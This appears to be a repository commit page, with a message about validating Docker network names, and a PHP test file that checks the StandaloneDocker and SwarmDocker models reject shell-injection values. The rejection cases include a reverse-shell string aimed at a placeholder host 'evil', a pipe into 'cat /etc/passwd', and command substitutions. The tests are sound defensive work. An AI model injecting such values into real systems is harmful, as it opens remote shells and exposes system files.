3d1b9f53a0
Add strict validation for Docker network names using a regex pattern that matches Docker's naming rules (alphanumeric start, followed by alphanumeric, dots, hyphens, underscores). Changes: - Add DOCKER_NETWORK_PATTERN to ValidationPatterns with helper methods - Validate network field in Destination creation and update Livewire components - Add setNetworkAttribute mutator on StandaloneDocker and SwarmDocker models - Apply escapeshellarg() to all network field usages in shell commands across ApplicationDeploymentJob, DatabaseBackupJob, StartService, Init command, proxy helpers, and Destination/Show - Add comprehensive tests for pattern validation and model mutator Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
48 lines
1.6 KiB
PHP
48 lines
1.6 KiB
PHP
<?php
|
|
|
|
use App\Models\StandaloneDocker;
|
|
use App\Models\SwarmDocker;
|
|
|
|
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
|
|
$model = new StandaloneDocker;
|
|
$model->network = $network;
|
|
})->with([
|
|
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
|
'pipe injection' => 'net|cat /etc/passwd',
|
|
'dollar injection' => 'net$(whoami)',
|
|
'backtick injection' => 'net`id`',
|
|
'space injection' => 'net work',
|
|
])->throws(InvalidArgumentException::class);
|
|
|
|
it('StandaloneDocker accepts valid network names', function (string $network) {
|
|
$model = new StandaloneDocker;
|
|
$model->network = $network;
|
|
|
|
expect($model->network)->toBe($network);
|
|
})->with([
|
|
'simple' => 'mynetwork',
|
|
'with hyphen' => 'my-network',
|
|
'with underscore' => 'my_network',
|
|
'with dot' => 'my.network',
|
|
'alphanumeric' => 'network123',
|
|
]);
|
|
|
|
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
|
|
$model = new SwarmDocker;
|
|
$model->network = $network;
|
|
})->with([
|
|
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
|
|
'pipe injection' => 'net|cat /etc/passwd',
|
|
'dollar injection' => 'net$(whoami)',
|
|
])->throws(InvalidArgumentException::class);
|
|
|
|
it('SwarmDocker accepts valid network names', function (string $network) {
|
|
$model = new SwarmDocker;
|
|
$model->network = $network;
|
|
|
|
expect($model->network)->toBe($network);
|
|
})->with([
|
|
'simple' => 'mynetwork',
|
|
'with hyphen' => 'my-network',
|
|
'with underscore' => 'my_network',
|
|
]);
|